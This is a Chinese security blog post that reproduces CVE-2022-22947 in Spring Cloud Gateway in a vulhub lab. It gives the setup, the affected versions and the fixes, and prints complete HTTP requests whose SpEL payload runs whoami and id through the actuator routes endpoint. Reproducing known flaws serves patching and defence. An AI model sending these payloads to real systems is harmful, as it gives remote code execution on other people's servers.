Spring Cloud Gateway远程命令执行复现

admin 2022年3月9日16:03:46评论130 views字数 2803阅读9分20秒阅读模式

1.漏洞背景

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。


2.漏洞编号
     CVE-2022-22947

3.漏洞影响版本

     3.1.0与3.0.6之前

4.漏洞复现

从docker上拉取镜像
git clone https://github.com/vulhub/vulhub
然后直接切换到目录下
cd /vulhub/spring/CVE-2022-22947
直接拉取环境
docker-compose up -d
如下图则为安装成功

Spring Cloud Gateway远程命令执行复现

首先我们通过构造post包来添加恶意路由
POST /actuator/gateway/routes/ninedom HTTP/1.1Host: 192.168.174.128:8080User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: trdipcktrffcext=1Upgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947+gzip"Content-Type: application/jsonCache-Control: max-age=0Content-Length: 341
{ "id": "ninedom", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}" } }], "uri": "http://192.168.174.128:8080"}

Spring Cloud Gateway远程命令执行复现

刷新恶意的网关路由
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.174.128:8080User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: trdipcktrffcext=1Upgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947+gzip"Content-Type: application/jsonCache-Control: max-age=0Content-Length: 341
{ "id": "ninedom", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}" } }], "uri": "http://192.168.174.128:8080"}

Spring Cloud Gateway远程命令执行复现

最终请求该数据命令执行
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{  "id": "hacktest",  "filters": [{    "name": "AddResponseHeader",    "args": {      "name": "Result",      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"    }  }],  "uri": "http://example.com"}

Spring Cloud Gateway远程命令执行复现

5.漏洞修复方案

(1)将3.0x升级到3.0.7或者将3.1x升级到3.1.1版本。
(2)如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用。



欢迎小伙伴加入交流群,安全路上不孤独

近期加群人数过多,请添加小编拉入群

Spring Cloud Gateway远程命令执行复现



原文始发于微信公众号(祝融安全):Spring Cloud Gateway远程命令执行复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月9日16:03:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway远程命令执行复现https://cn-sec.com/archives/823880.html

发表评论

匿名网友 填写信息